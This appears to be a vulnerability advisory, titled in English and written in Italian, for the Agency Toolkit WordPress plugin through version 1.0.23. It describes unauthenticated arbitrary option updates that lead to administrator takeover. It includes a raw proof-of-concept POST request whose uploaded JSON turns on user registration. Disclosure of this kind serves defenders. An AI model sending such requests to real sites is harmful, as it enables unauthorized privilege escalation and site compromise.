
Agency Toolkit <= 1.0.23 - Missing Authorization to Unauthenticated Arbitrary Options Update
Agency Toolkit <= 1.0.23 - Autorizzazione mancante per aggiornamento arbitrario delle opzioni senza autenticazione
Il plugin Agency Toolkit per WordPress è vulnerabile alla modifica non autorizzata dei dati che può portare a un'escalation dei privilegi a causa della mancanza di un controllo delle capacità nell'azione 'agency_toolkit_import' in tutte le versioni fino alla 1.0.23 inclusa. Ciò consente ad attaccanti non autenticati di aggiornare opzioni arbitrarie sul sito WordPress. Questo può essere sfruttato per impostare il ruolo predefinito per la registrazione come amministratore e abilitare la registrazione degli utenti, consentendo agli attaccanti di ottenere accesso amministrativo a un sito vulnerabile.
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--